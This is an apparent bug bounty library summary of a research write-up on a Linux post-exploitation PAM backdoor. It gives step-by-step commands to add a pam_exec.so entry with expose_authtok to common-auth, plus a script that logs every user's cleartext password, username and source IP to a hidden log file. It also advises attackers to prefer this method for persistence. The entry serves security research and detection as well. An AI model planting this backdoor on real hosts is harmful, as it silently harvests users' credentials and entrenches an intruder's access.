# Post Exploitation: Sniffing Logon Passwords with PAM

Post-exploitation PAM backdoor using pam_exec.so with expose_authtok captures cleartext logon passwords to a log file on compromised Linux hosts.

- Payout: Research
- Severity: high
- Program: Linux PAM
- Write-up by: Johann Rehberger
- Disclosed: 2022-06-27
- Write-up quality: 6/10
- Original: https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/
- Library page: https://bugbountylibrary.com/r/blog%3Aembracethered-com-blog-posts-2022-post-exploit-pam-ssh-password-grabbing
- Tags: area:cloud domain:infra impact:data-leak impact:privesc kind:research platform:research sev:high tech:linux technique:legacy-endpoint vuln:misconfiguration vuln:secrets-leak

**Target:** PAM authentication stack (/etc/pam.d/common-auth) on Linux
**Root cause:** pam_exec.so with expose_authtok passes the cleartext password on stdin to an arbitrary script, and PAM config files are writable by root, so a post-exploitation attacker can silently log all credentials.
**Steps:**
1. Create `/usr/local/bin/toomanysecrets.sh` containing `#!/bin/sh` and `echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log`
2. Pre-create log file and `chmod 770` it to restrict reads
3. Append to `/etc/pam.d/common-auth`: `auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh`
4. `chmod 700` the script
5. Trigger a login via SSH or local console
6. Read captured creds with `sudo cat /var/log/toomanysecrets.log`
**Exploitation:** After gaining root on a Linux host, attacker edits common-auth to invoke pam_exec with expose_authtok; every subsequent authentication (SSH or local) pipes the plaintext password to the script, which logs username, password, timestamp and source IP for later harvesting.
**Insight:** pam_exec.so's expose_authtok option is a living-off-the-land credential harvester: on any root-level compromise, check /etc/pam.d/* for pam_exec entries with expose_authtok, and as an attacker prefer this over patching sshd since it survives password changes and captures local console logins too.